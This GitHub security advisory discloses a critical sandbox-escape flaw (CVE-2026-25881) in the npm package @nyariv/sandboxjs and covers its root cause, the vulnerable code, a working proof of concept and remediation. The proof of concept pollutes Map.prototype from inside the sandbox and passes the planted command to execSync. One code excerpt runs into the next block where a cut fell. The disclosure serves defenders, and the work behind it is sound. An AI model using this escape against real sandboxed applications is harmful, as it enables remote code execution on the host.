GitHub Advisoryadvisory · npm
GHSA-ww7g-4gwx-m7wj @nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
CRITICAL
Official page ↗
- Aliases
- CVE-2026-25881
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-1321
- Reviewed
- 2026-02-10
Affected packages
• npm @nyariv/sandboxjs: < 0.8.31 → fixed in 0.8.31
Description
Summary
A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).
Details
Root Cause:
The sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.
Vulnerable Code Path `src/executor.ts`(L559-L571):
```ts
addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
const items = (b as LispItem[])
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return item;
}
})
.flat()
.map((item) => valueOrProp(item, context)); // execSync):
```js
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const m=[Map.prototype][0];
m.cmd='id';
return 'done';
`)().run();
const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
```
Observed output: `uid=501(user) gid=20(staff) groups=20(staff),...`
Impact
This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).
Affected Systems: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.
Remediation
• Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).
• Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.
• Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).
Related
Alias · CVE (1)
- CVE-2026-25881 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness